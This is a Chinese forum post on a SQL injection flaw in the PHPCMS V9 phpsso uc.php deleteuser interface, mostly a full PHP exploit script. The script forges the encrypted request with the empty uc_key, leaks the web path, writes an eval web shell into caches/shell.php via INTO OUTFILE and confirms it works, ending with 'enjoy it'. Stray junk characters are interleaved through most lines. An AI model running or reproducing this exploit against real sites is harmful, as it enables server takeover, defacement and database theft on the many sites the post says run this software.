PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。7 K% M. I2 x$ J+ A7 h. b
2 T* Q; ^$ V7 _! A
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
2 J9 {& j6 ~9 @
. g, j! Q9 e1 a* n5 f漏洞分析:
/ c/ D' ~: y! X i4 `+ D" b( x! A1.未启用ucenter服务的情况下uc_key为空
& Z6 _; e: S; {: q# T( Kdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));( X3 L! p6 d y, i( D; N
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
0 P' q) g% R2 b7 o. v public function deleteuser($get,$post) {9 q3 \6 _& ^# `) d0 J5 a# D+ x
pc_base::load_app_func('global', 'admin');
0 f# D8 ]6 | g! r. A pc_base::load_app_class('messagequeue', 'admin' , 0);' L$ y0 |/ o' P; ?0 d6 _/ f
$ids = new_stripslashes($get['ids']);5 d' N7 I. v5 f: Y% v' B
$s = $this->member_db->select("ucuserid in ($ids)", "uid");4 N! N. [- Y& l+ e
SQL语句为
: ?( ~7 K2 T3 j% c% K& [+ `4 kSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
! u, |' H6 v' i7 a4 n ^4 y9 M, @4 L
( R* l% c& e! p$ A0 G* W利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell' t( l( c7 }4 w M$ `: p+ ?$ _
<?php3 M- d4 L0 P$ L' E# t2 }3 [. Y
print_r('
, M3 w: q: X( I& L---------------------------------------------------------------------------3 x6 H! A& b0 W2 u0 J2 d+ U7 t
PHPcms (v9 or Old Version) uc api sql injection 0day2 O/ S+ T7 w! R( g& o% d g2 z
by rayh4c#80sec.com' Y: z. r4 n+ ?+ ~: r
---------------------------------------------------------------------------
' v# U& H$ z6 H1 J9 @');
5 n7 B! p. D6 w2 c
0 u9 H+ H1 O8 I2 Z% u5 uif ($argc<3) {/ l0 S' I3 ^0 P6 B0 Y/ ?
print_r('
, R$ V; }' w) D---------------------------------------------------------------------------. j4 c8 \. |0 E1 ^
Usage: php '.$argv[0].' host path OPTIONS
- [, C/ `" W- N6 y* R+ J5 Khost: target server (ip/hostname)
4 ]% |' p7 F; K; B5 J9 R" F! ~path: path to phpcms
0 \( N! m% [2 p y4 ROptions:
2 Z/ }) s+ F* F: D( c1 p& K7 L3 R -p[port]: specify a port other than 80
) n. K8 B! X2 I8 v3 v. R2 z -P[ip:port]: specify a proxy- P- y `/ ~9 N9 n7 c
Example:
5 a* M8 Q9 w) C, n$ k. Rphp '.$argv[0].' localhost // N+ }& R* V) H8 u# ^3 v* l9 F# X
php '.$argv[0].' localhost /phpcms/ -p81 @3 b: m* R/ x; R
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80# `' c5 y/ |5 R1 [6 H& L
---------------------------------------------------------------------------" A: K" ~9 P/ l& W; Q! s* R& q) ]3 M
');
3 W* J) j K( l C7 a die;
$ k6 V+ m+ a {4 o" n7 C}
( ?8 \; C4 P( V D) l3 D, e) g0 r, `5 |; H! f4 H% z7 C
error_reporting(7);
/ a' f. R3 m+ k" d+ b. Lini_set("max_execution_time",0);
' ?( n1 f. }9 l+ gini_set("default_socket_timeout",5);
$ p( P/ s5 B- y; x9 X0 \0 v. p8 ]2 [/ ~# J9 Y$ r2 T) K1 o
function quick_dump($string)
/ G. r4 k* L) T$ y{
5 z3 W+ u, F7 N; ^% j" b $result='';$exa='';$cont=0;/ J, C7 B- F# B6 t/ @
for ($i=0; $i<=strlen($string)-1; $i++)
* ], }* w8 U8 m! y, t! e6 t$ u {
( F2 z" i1 N2 P) F if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
n. x4 v5 @3 X/ w7 F {$result.=" .";}
1 t+ z( u9 W" P% j" ^4 \* G else" R( y( f: O; m/ W. R' o0 M
{$result.=" ".$string[$i];}
" g" P( ?5 A6 P9 J1 W# W$ m1 w if (strlen(dechex(ord($string[$i])))==2). W# `4 r! s) z O& t8 r% S6 N
{$exa.=" ".dechex(ord($string[$i]));}
- s, w$ f: ?0 c else) r) {/ K) X) a
{$exa.=" 0".dechex(ord($string[$i]));}
7 w/ A6 t8 Y# m1 J v1 K: l $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}6 r, B/ d3 U) m3 Q0 v# i% ]
}
4 d) n' `3 f- a& v return $exa."\r\n".$result;
+ M6 E' f( g+ Q5 h}# i7 H2 ~# i' W* ^; }6 z
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
. Y1 s% a2 R8 t. G# {- H8 K! `+ f/ Q
function send($packet)0 }7 [! W( S- y) o
{& R2 V: M) s, _0 v
global $proxy, $host, $port, $html, $proxy_regex;. i; e# P ~. W/ C X# @
if ($proxy=='') {
' D U2 v! A# h! T! u1 y) z l$ u# | $ock=fsockopen(gethostbyname($host),$port);
) c0 R. |9 K6 C1 w- ^9 Y: V if (!$ock) {2 n( k( z) y# S& G2 E) U
echo 'No response from '.$host.':'.$port; die;
% Y7 [' s& u* p4 g }
& N" X3 | o. D; E9 r7 |2 W }8 d7 e- U6 S( z9 f P8 |) G- B
else {" i, r: U) p! ? W
$c = preg_match($proxy_regex,$proxy);6 J) R* `7 @: b. R+ e4 B7 p# z
if (!$c) {
6 J3 Q' q- s% T; Y8 o& A# \ echo 'Not a valid proxy...';die;
2 V0 Z5 H+ ]- ~0 U4 v" ~9 M. K. C }
. }. k) [2 |4 E( \ $parts=explode(':',$proxy);1 p' n# Z- H6 A2 J; R
$parts[1]=(int)$parts[1];% i* E2 T: Y+ `; u
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
. l# ?9 P. W# L( E8 h/ C8 w/ ]+ ? $ock=fsockopen($parts[0],$parts[1]);
3 U! A0 }0 F+ g% v if (!$ock) {
% g6 X/ P$ W4 A( x H$ A echo 'No response from proxy...';die;
, u: F1 @* h# a' C! i( H: y7 S: ~ }
5 l8 k( B: h' D% r }
1 s, e4 t. [. E& g, m2 ^ fputs($ock,$packet); v5 a$ Y! S/ \$ Z- C- J' r
if ($proxy=='') {% N) ^) s1 D; K8 [" T2 Z
$html='';
! O' I/ i8 ?+ W9 @ while (!feof($ock)) {5 ^: S( ]7 k& W0 D4 K& s% R
$html.=fgets($ock);9 H( C5 U: U5 T( ?
}
' {; p) L$ C5 j8 S) g" {- O2 D7 Q# J }0 M0 _1 C" k4 u& H
else {
' @$ p2 `2 t# ^* T( J* ^ $html='';
' G- L. A& l5 U- e& w while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {1 f; ~6 w8 y! t- M T. |
$html.=fread($ock,1);
, ?3 n# k$ P% o8 X }, H9 i4 Y7 t: {
}( J$ @$ e6 a; L7 I- `& k! C" r
fclose($ock);; J- P7 c* Y: x# \9 G# _" z2 u
}4 A, b3 a! q" x& d9 ]; d7 ^ V
( {- L, p ]" S/ O! B2 |$host=$argv[1];5 g# F. c: O) c9 Q4 J1 d
$path=$argv[2];9 O' t! X* z- O( w
$port=80;
5 ]0 m$ H* {/ o% c3 S$proxy="";
& Q# y* w1 \* ufor ($i=3; $i<$argc; $i++){2 K- R8 I- v! V- b" {, o; `
$temp=$argv[$i][0].$argv[$i][1];' j! E" ]0 @, o9 G
if ($temp=="-p")/ d. c& _6 K# T. ~4 `/ m
{
3 Y% h' }( F# e" o' ^ $port=(int)str_replace("-p","",$argv[$i]);
0 |) a! M- K. E; W}
3 ^* D6 M4 E2 Rif ($temp=="-P")
: d" S5 U. _5 D+ M6 K{
( i9 D- r) N0 ^5 a $proxy=str_replace("-P","",$argv[$i]);0 k( x, Q# `4 I% M
}
0 R, n. m6 y2 F5 k4 F: ~: V}
* p) x4 `3 h8 I- C) W1 {
3 r# Y/ T# B' c r/ j& y' x3 Eif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}8 J8 p" \! u9 K# z8 m
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
: Q1 ]# V+ B- f' u$ ^: Z* q; g( k9 F8 n
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {( w8 q8 |% C8 }; \4 R
$ C% k+ o+ I4 ~" J! L- ] $ckey_length = 4;
) M* a+ X: i$ t8 {9 @3 ~" C9 `
/ E7 y* T% _* T" k. B $key = md5($key ? $key : '');7 m9 \1 q1 m4 ]; z5 o1 ]' U% w4 C
$keya = md5(substr($key, 0, 16));
. G$ B( J, S: C# d4 X $keyb = md5(substr($key, 16, 16));. Y% [4 g; [6 E& n% D+ _- f% x
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
/ ^2 w( W! `3 D7 h3 f1 q) d
7 q& W) L' u' ~1 M! W $cryptkey = $keya.md5($keya.$keyc);
5 |5 R+ ~6 p% ]; u. t% B2 f7 v6 e $key_length = strlen($cryptkey);
, ^1 t' z1 v# c1 q5 X5 x+ H- a
6 c# P/ [3 n+ {1 s( {, G $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;3 j1 B( _7 [ Z% F& x+ _' C
$string_length = strlen($string);. q1 d! w4 v _5 Q- @; L+ P
* E/ e5 N/ `$ E
$result = '';. a; B# }+ V& ]" Z
$box = range(0, 255);
3 c& x- A k2 d$ g3 O& n2 [0 E; M# K+ M; R
$rndkey = array();
# b, R5 p: e" P for($i = 0; $i <= 255; $i++) {
2 T) C. S$ G* b, e! {. U, v2 \0 k $rndkey[$i] = ord($cryptkey[$i % $key_length]);
$ U" Q& Z. i# e. T }
* k3 K2 o% K$ h* [$ d% r; B# F) ^( O# d* m
for($j = $i = 0; $i < 256; $i++) {9 T/ q/ M' r' s5 ?& b
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
4 |2 m1 L2 M* l4 @+ Z/ Q9 j $tmp = $box[$i];* \; F* h$ H& r. Y, F
$box[$i] = $box[$j];8 W5 C) B& i; \# }
$box[$j] = $tmp;
7 w+ a; i/ x+ H% K7 s2 | }
. _1 g- z8 x2 b( G
7 ]" z0 E8 ]3 [; K2 I. t for($a = $j = $i = 0; $i < $string_length; $i++) {) [/ z; x8 a: c% T4 |0 A
$a = ($a + 1) % 256;9 o- E: g) M6 E3 I. V& I5 s. x4 j
$j = ($j + $box[$a]) % 256;
]2 |" ~& \* }% z! X& V J: s $tmp = $box[$a];: A3 L3 O, h8 w; Y% L
$box[$a] = $box[$j]; v4 j0 Z0 H6 `; ~
$box[$j] = $tmp;% V$ g; t& A5 E
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));* O% y1 z0 U, {7 S
}
6 w/ G# N* R' S: W, n" {
+ i- y8 E J: K" { if($operation == 'DECODE') {! Q) U0 ^. M$ }. ?5 a
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
- s: u( N" C" `+ M# ?# A% E1 K8 @ return substr($result, 26);; ~7 G9 k e/ Z3 f0 ]; X
} else {
4 S+ ]: u( O& N" y) r return '';
- \7 ~8 y6 m! J; T5 w; U }& ~) V+ P. d e F$ h
} else {
8 v& r& o$ \9 A return $keyc.str_replace('=', '', base64_encode($result));
7 G0 z5 ^/ K# Y4 x) K- j9 K1 r }
( ~: S* j" n) |# e
8 n9 t7 |* k3 C, \}
$ J; G6 F- {$ A4 ^" y( j' e
/ X3 \, E4 n1 R$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";( e6 ?3 R( T W. c1 y f
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
/ H) L2 @( |& v$ gecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";5 ?8 }- h+ ^ ?* ]$ }! s
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
& |" L& o6 y9 p8 S: y5 b+ x7 \* \$packet.="User-Agent: Mozilla/5.0\r\n";
& P' k+ x% w( ?: H$packet.="Host: ".$host."\r\n";' J; B! j$ M* N p/ n) Q9 {2 `
$packet.="Connection: Close\r\n\r\n";
& E* H" Y0 T5 ^$ Q5 U0 P. Y1 Hsend($packet);7 A% I1 u" J1 w" y9 q
if(strpos($html,"MySQL Errno") > 0){
: j: V8 s5 n' d3 Necho "[2] 发现存在SQL注入漏洞"."\n";
! A6 B' e1 M9 c" {8 ~ j' B; V3 Recho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";( _+ q A- n1 k3 D
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";! n& S2 ?0 B$ {* O8 M+ l
$packet.="User-Agent: Mozilla/5.0\r\n";
2 i9 i% ?& r& R3 g$packet.="Host: ".$host."\r\n";/ c9 s- \/ [% X8 K, x1 E
$packet.="Connection: Close\r\n\r\n";
- G. w. {! L* q4 A% Rsend($packet);
: l4 x5 s; e- b0 c0 ^3 B$ Ipreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);. d% p( Y+ }1 H5 N# t: f
//print_r($matches);
& H( K! {9 z8 E, E, a6 Aif(!empty($matches)){
% G- J$ R( U8 N* M. o2 s, vecho "[4] 得到web路径 " . $matches[0]."\n";" j: j' [- C P9 |- k a
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
( g3 Q3 _. }5 k `! Q" o0 Q$SQL = "time=999999999999999999999999&ids=1)";
9 h+ W- _2 \3 f: Q* l; @+ e' r9 y$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
& ?) _% `( R9 f& h) g# o0 V$SQL.="&action=deleteuser";
1 l" r0 l; {* A; Z/ A) F& q$SQL = urlencode(authcode($SQL, "ENCODE", ""));
6 S4 }7 U' B1 C& E# B- }' Mecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
, a8 W6 Q6 ]! S$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
1 x/ v: r5 n# G& Z/ ]) |: s: k1 t$packet.="User-Agent: Mozilla/5.0\r\n";6 X" b; |3 {8 J$ Y& J
$packet.="Host: ".$host."\r\n";
9 q% X, v M- j* @ `$packet.="Connection: Close\r\n\r\n";# D' r% ]0 e$ p$ v
send($packet);
5 Y2 v6 q9 V4 W! A- P% ?- Dif(strpos($html,"Access denied") > 0){
, |" M4 z5 J# V) H, ^/ ?' C. v' _echo "[-] MYSQL权限过低 禁止写入文件 ";
3 a$ ~% b' m" D+ Pdie;+ C2 ?0 M0 q# g8 e9 k( u
}" `) V5 u f+ a$ E1 W" h% Q
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
) H/ A/ I: n& z: X A5 _( t* N$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
2 l: R. Y$ ?: G" p' G/ c4 Q$packet.="User-Agent: Mozilla/5.0\r\n";6 J1 P+ R# ?% I; n! q! V1 l
$packet.="Host: ".$host."\r\n";9 X: w+ E" B* w! @/ S9 b- E
$packet.="Connection: Close\r\n\r\n";/ K+ T6 [8 G$ h5 O" e/ g" l! z% R
send($packet);
$ ~0 D: m# o$ nif(strpos($html,"<title>phpinfo()</title>") > 0){9 G' n8 o4 |8 j( G: T- q& f% ~; v
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";. R, I8 e* N# n% w
}4 z$ H* [/ O: @; l
}else{0 |2 x4 u4 F& Y( N& U3 c
echo "[-]未取到web路径 ";
7 n+ @8 m% ^% L" y' t/ t% E& j' c) a}6 K5 P2 {( _3 L/ G1 Q" _
}else{
2 j+ B% g/ E) [* Vecho "[*]不存在SQL注入漏洞"."\n";
) u- j, L n: P2 J}- @: q0 s7 A$ Y( k
2 W( ]! ^4 E1 u y0 Y- ]
?>: R/ o, e; L, r( ]/ z4 ?
|